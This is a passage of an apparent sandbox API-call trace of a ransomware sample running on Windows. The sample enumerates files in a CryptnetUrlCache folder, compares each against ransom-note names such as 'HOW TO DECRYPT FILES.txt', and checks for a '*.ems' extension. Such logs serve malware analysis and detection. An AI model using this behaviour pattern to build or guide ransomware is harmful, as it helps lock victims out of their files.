returned="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150" [0087.000] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0087.000] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0087.000] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0087.000] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0087.000] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC" [0087.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", pszSpec="*.ems") returned 0 [0087.001] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x56bb3b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x56bb3b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeca3800, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", cAlternateFileName="C46E7B~2")) returned 1 [0087.001] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.001] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned 1 [0087.001] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned 1 [0087.001] lstrcmpiA (lpString1="", lpString2="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned -1 [0087.001] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC" [0087.001] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0087.001] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0087.001] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0087.001] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0087.001] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873" [0087.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", pszSpec="*.ems") returned 0 [0087.001] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x682fbd00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x682fbd00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0bca00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cAlternateFileName="C46E7B~3")) returned 1 [0087.001] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.001] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned 1 [0087.001] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned 1 [0087.001] lstrcmpiA (lpString1="", lpString2="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned -1 [0087.001] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873" [0087.001] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0087.002] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0087.002] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0087.002] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0087.002] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE" [0087.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", pszSpec="*.ems") returned 0 [0087.002] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5461c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5461c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf67eb30, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", cAlternateFileName="C46E7B~1")) returned 1 [0087.002] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.002] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned 1 [0087.002] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned 1 [0087.002] lstrcmpiA (lpString1="", lpString2="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned -1 [0087.002] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE" [0087.002] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0087.002] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0087.002] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0087.002] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0087.002] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF" [0087.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", pszSpec="*.ems") returned 0 [0087.003] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x728c68a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x728c68a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xae63dce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", cAlternateFileName="D47DBD~2")) returned 1 [0087.003] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.003] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned 1 [0087.003] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned 1 [0087.003] lstrcmpiA (lpString1="", lpString2="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned -1 [0087.003] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF" [0087.003] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0087.003] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0087.003] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0087.003] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0087.003] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC" [0087.003] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", pszSpec="*.ems") returned 0 [0087.003] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x545f6190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x545f6190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69b6e1e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cAlternateFileName="D47DBD~1")) returned 1 [0087.003] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.004] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned 1 [0087.004] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned 1 [0087.004] lstrcmpiA (lpString1="", lpString2="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned -1 [0087.004] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC" [0087.004] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0087.004] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0087.004] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0087.004] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0087.004] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE" [0087.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", pszSpec="*.ems") returned 0 [0087.004] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x808d4a70, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x808d4a70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x808d4a70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x663, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", cAlternateFileName="D52C56~1")) returned 1 [0087.004] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.004] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned 1 [0087.004] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned 1 [0087.004] lstrcmpiA (lpString1="", lpString2="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned -1 [0087.004] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE" [0087.004] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0087.005] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0087.005] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0087.005] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0087.005] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", 